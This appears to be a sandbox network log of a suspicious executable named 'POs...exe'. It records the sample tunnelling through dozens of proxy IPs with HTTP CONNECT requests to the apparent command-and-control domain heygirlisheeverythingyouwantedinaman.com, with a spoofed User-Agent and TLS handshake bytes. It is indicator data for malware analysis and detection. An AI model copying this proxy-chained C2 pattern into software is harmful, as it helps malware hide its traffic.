Mar 11, 2024 16:42:21.679132938 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 25 8e a2 82 f4 8e 2f aa d6 af 5f 2a 44 54 94 ba ba f8 8a d7 f2 d8 1c 99 2d fd 68 2d 51 a2 0c 2b 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 28 e3 39 ab 53 94 7c 35 b1 40 64 a5 ec 4a 42 ae af 76 e2 7c 9a Data Ascii: %! %/_*DT-h-Q+((9S\|5@dJBv\|y
Mar 11, 2024 16:42:21.947448015 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 b0 64 4a aa 9d ec b6 21 68 13 7d 2f e4 ce 7b 86 73 1b 17 b4 41 8a 99 d2 f8 ae 37 8a 29 8e 17 c2 0d ff 5f a1 44 f3 08 3d Data Ascii: (dJ!h}/{sA7)_D=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
518	192.168.2.11	51730	204.236.176.61	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.080441952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.254688978 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:21 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 16:42:21.255383015 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 26 5c a2 f1 5c 16 c9 df e0 b6 05 53 b5 6f 10 1e ab 26 51 b4 96 f7 79 ed 2a 7f c8 ed 6c 2e 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e&\\So&Qyl.,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 16:42:21.429889917 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 90 c8 95 7c 82 c8 fe e2 a3 37 9b 66 f6 96 15 5a da 83 93 e9 6a 1b d5 bb 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9\|7fZjDOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311152138Z260311152138Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 16:42:21.436862946 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 af 07 2c e0 32 27 c4 85 cf f4 ac 15 27 96 dd 63 e5 30 6a 27 1b a5 24 9e 70 ba d8 bf d0 53 7e 57 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 33 f5 55 8e 67 a3 a8 62 83 c0 46 6e 25 30 59 4e 7d 68 70 a8 4a Data Ascii: %! ,2''c0j'$pS~W(3UgbFn%0YN}hpJSw>f
Mar 11, 2024 16:42:21.609968901 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 c5 82 82 42 7e b3 73 9d 55 05 f4 77 bb bb f5 7d df de 3c 53 8c 34 3d 21 5f 53 06 7f 4f d1 9a 36 7f 3e 5a 0b 55 4e d2 36 Data Ascii: (B~sUw}<S4=!_SO6>ZUN6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
519	192.168.2.11	50941	124.163.236.54	7302	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.080667973 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
520	192.168.2.11	51575	154.12.178.107	29985	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.081943035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.735399961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
521	192.168.2.11	51577	203.74.125.18	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.082089901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
522	192.168.2.11	51698	192.252.220.92	17328	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.082508087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
523	192.168.2.11	51591	8.211.4.215	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.084177971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.735404015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
524	192.168.2.11	51679	44.226.167.102	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.084327936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.275547981 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:21 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 16:42:21.277568102 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 26 5c 47 83 be 58 51 11 d1 23 2d a9 98 48 95 7b ee b7 93 a0 60 c9 53 8d 79 50 1c 02 96 12 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e&\GXQ#-H{`SyP*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 16:42:21.474062920 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 f8 63 7f 49 4a 48 6b ac 23 ea 62 a6 75 19 3a 78 77 ab 85 bf ed d4 de b2 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9cIJHk#bu:xwDOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311151917Z260311151917Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 16:42:21.489077091 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 a0 c3 7b f9 e9 5e 88 ee 04 01 86 4a ab 0e 5a f0 93 c1 9c 8b 6f 90 a6 cf 0c d9 0f b3 24 a7 9f 72 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 ee e7 80 fa c3 15 5e 31 6a 93 29 06 f4 f9 6e a0 f3 d9 45 91 63 Data Ascii: %! {^JZo$r(^1j)nEc
Mar 11, 2024 16:42:21.678229094 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 27 c8 02 55 f5 42 38 80 98 dd cf 60 a7 60 1e 43 d8 87 74 21 2d 60 6f 24 b8 52 e1 ee 40 3f c0 3c 00 4c 38 a5 9d 11 11 04 Data Ascii: ('UB8``Ct!-`o$R@?<L8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
525	192.168.2.11	51626	72.195.34.35	27360	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.084520102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
526	192.168.2.11	51592	47.242.234.237	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.085402012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
527	192.168.2.11	51719	52.151.210.204	9000	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.095329046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
528	192.168.2.11	51583	43.133.74.172	15673	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.097071886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
529	192.168.2.11	51750	146.19.106.217	12334	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.099179983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.626032114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.329797983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.642179012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
530	192.168.2.11	51807	172.67.181.89	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.099255085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.253599882 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
531	192.168.2.11	51672	72.210.221.197	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.099843025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
532	192.168.2.11	51996	200.111.182.6	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.101378918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
533	192.168.2.11	51998	200.111.182.6	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.102832079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
534	192.168.2.11	51594	1.15.62.12	5678	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.104182005 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
535	192.168.2.11	52000	200.111.182.6	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.104711056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
536	192.168.2.11	51775	107.180.88.173	35774	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.105056047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.610481024 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.282850981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.689224958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.189696074 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.689273119 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.188803911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.188884020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.173346996 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
537	192.168.2.11	51828	104.24.220.52	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.111083031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.265414953 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
538	192.168.2.11	51574	190.2.110.7	4153	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.112104893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
539	192.168.2.11	51842	172.67.105.234	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.116480112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.271064043 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
540	192.168.2.11	51628	58.75.126.235	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.119324923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
541	192.168.2.11	51613	134.209.105.209	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.133343935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.014301062 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
542	192.168.2.11	51872	188.114.99.171	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.133654118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
